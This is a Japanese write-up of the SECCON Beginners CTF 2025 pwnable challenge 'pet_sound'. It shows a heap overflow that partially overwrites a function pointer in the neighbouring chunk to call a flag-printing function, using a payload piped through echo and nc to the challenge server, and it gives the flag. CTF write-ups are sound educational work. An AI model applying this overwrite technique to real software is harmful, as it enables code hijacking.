pwnable pet_soundのwriteup@SECCON Beginners CTF 2025

目的

今年も*1会社の同好会でSECCON Beginners CTF 2025に参加! 珍しく2問以上,解けました! 忘れないうちにwriteup書いておく!
この記事は,pwnableのpet_sound.

pet_sound:ペットに鳴き声を教えましょう。

ほか

  1. reversing CrazyLazyProgram1のwriteup@SECCON Beginners CTF 2025
  2. reversing CrazyLazyProgram2のwriteup@SECCON Beginners CTF 2025
  3. reversing D-compileのwriteup@SECCON Beginners CTF 2025
名称 規格 製造会社 備考
オペレーティングシステム(ホスト側) Windows 10 Pro 64ビット,22H2 マイクロソフト インターナショナル版
仮想化ソフトウェア VirtualBox,7.0.10 Oracle
オペレーティングシステム(ゲスト側) Kali Linux,2024.2 Offensive Security

結論

nc pet-sound.challenges.beginners.seccon.jp 9090でアクセスして,Input a new cry for Pet A >と入力待ちになるので鳴き声を与えるというもの.入力した文字がヒープ領域に入力されていく.下記実行例は1を32文字入れている:

$ nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!

[hint] The secret action 'speak_flag' is at: 0x5cefd96d0492
[*] Pet A is allocated at: 0x5cf009f4b2a0
[*] Pet B is allocated at: 0x5cf009f4b2d0

[Initial Heap State]

--- Heap Layout Visualization ---
0x00005cf009f4b2a0: 0x00005cefd96d05d2 <-- pet_A->speak
0x00005cf009f4b2a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x00005cf009f4b2b0: 0x0000000000000000
0x00005cf009f4b2b8: 0x0000000000000000
0x00005cf009f4b2c0: 0x0000000000000000
0x00005cf009f4b2c8: 0x0000000000000031
0x00005cf009f4b2d0: 0x00005cefd96d05d2 <-- pet_B->speak (TARGET!)
0x00005cf009f4b2d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005cf009f4b2e0: 0x0000000000000000
0x00005cf009f4b2e8: 0x0000000000000000
0x00005cf009f4b2f0: 0x0000000000000000
0x00005cf009f4b2f8: 0x0000000000020d11
---------------------------------

Input a new cry for Pet A > 11111111111111111111111111111111

[Heap State After Input]

--- Heap Layout Visualization ---
0x00005cf009f4b2a0: 0x00005cefd96d05d2 <-- pet_A->speak
0x00005cf009f4b2a8: 0x3131313131313131 <-- pet_A->sound
0x00005cf009f4b2b0: 0x3131313131313131
0x00005cf009f4b2b8: 0x3131313131313131
0x00005cf009f4b2c0: 0x3131313131313131
0x00005cf009f4b2c8: 0x000000000000000a
0x00005cf009f4b2d0: 0x00005cefd96d05d2 <-- pet_B->speak (TARGET!)
0x00005cf009f4b2d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x00005cf009f4b2e0: 0x0000000000000000
0x00005cf009f4b2e8: 0x0000000000000000
0x00005cf009f4b2f0: 0x0000000000000000
0x00005cf009f4b2f8: 0x0000000000020d11
---------------------------------
Pet says: 11111111111111111111111111111111

Pet says: wan...
munmap_chunk(): invalid pointer
Aborted (core dumped)

[hint]にあるとおり,<-- pet_B->speak (TARGET!)と表示されている箇所を書き換えられればOKと見える.TARGET!に入力文字が反映されるのは41文字目(=41バイト目から)とわかる.ただし,speak_flagのアドレスは実行するごとに少し変動するし,そもそもASCII文字以外の入力は通常のキーボード入力ではできない.

ちょっと実行した感じで,speak_flagはこんな変動だった:

  1. 'speak_flag' is at: 0x5cefd96d0492
  2. 'speak_flag' is at: 0x5743adcd5492
  3. 'speak_flag' is at: 0x5e62e0b90492

末尾が0x492になるぽく見えるので,そのあたりをなんとかして入力として与えたい.Pythonなどでプログラム作るのが順当と思うが,パパッと作れるスキルがあまりないので,パイプで渡せばいいのでは? という発想に至る.

1バイトごとに渡すとして,とりあえず0xe492を入力することにした(入力順として92,e4となることに注意).5回くらい実施したところ,以下のパターンでフラグが出てきた:

$ echo -n '\x31\x32\x33\x34\x35\x36\x37\x38\x31\x32\x33\x34\x35\x36\x37\x38\x31\x32\x33\x34\x35\x36\x37\x38\x31\x32\x33\x34\x35\x36\x37\x38\x31\x32\x33\x34\x35\x36\x37\x38\x92\xE4' | nc pet-sound.challenges.beginners.seccon.jp 9090
--- Pet Hijacking ---
Your mission: Make Pet speak the secret FLAG!

[hint] The secret action 'speak_flag' is at: 0x64e85b20e492
[*] Pet A is allocated at: 0x64e8603852a0
[*] Pet B is allocated at: 0x64e8603852d0

[Initial Heap State]

--- Heap Layout Visualization ---
0x000064e8603852a0: 0x000064e85b20e5d2 <-- pet_A->speak
0x000064e8603852a8: 0x00002e2e2e6e6177 <-- pet_A->sound
0x000064e8603852b0: 0x0000000000000000
0x000064e8603852b8: 0x0000000000000000
0x000064e8603852c0: 0x0000000000000000
0x000064e8603852c8: 0x0000000000000031
0x000064e8603852d0: 0x000064e85b20e5d2 <-- pet_B->speak (TARGET!)
0x000064e8603852d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x000064e8603852e0: 0x0000000000000000
0x000064e8603852e8: 0x0000000000000000
0x000064e8603852f0: 0x0000000000000000
0x000064e8603852f8: 0x0000000000020d11
---------------------------------

Input a new cry for Pet A > 
[Heap State After Input]

--- Heap Layout Visualization ---
0x000064e8603852a0: 0x000064e85b20e5d2 <-- pet_A->speak
0x000064e8603852a8: 0x3837363534333231 <-- pet_A->sound
0x000064e8603852b0: 0x3837363534333231
0x000064e8603852b8: 0x3837363534333231
0x000064e8603852c0: 0x3837363534333231
0x000064e8603852c8: 0x3837363534333231
0x000064e8603852d0: 0x000064e85b20e492 <-- pet_B->speak (TARGET!)
0x000064e8603852d8: 0x00002e2e2e6e6177 <-- pet_B->sound
0x000064e8603852e0: 0x0000000000000000
0x000064e8603852e8: 0x0000000000000000
0x000064e8603852f0: 0x0000000000000000
0x000064e8603852f8: 0x0000000000020d11
---------------------------------
Pet says: 1234567812345678123456781234567812345678�� [�d

**********************************************
* Pet suddenly starts speaking flag.txt...!? *
* Pet: "ctf4b{y0u_expl0it_0v3rfl0w!}" *
**********************************************

ということで,フラグは以下のとおり:

ctf4b{y0u_expl0it_0v3rfl0w!}

you exploit overflow!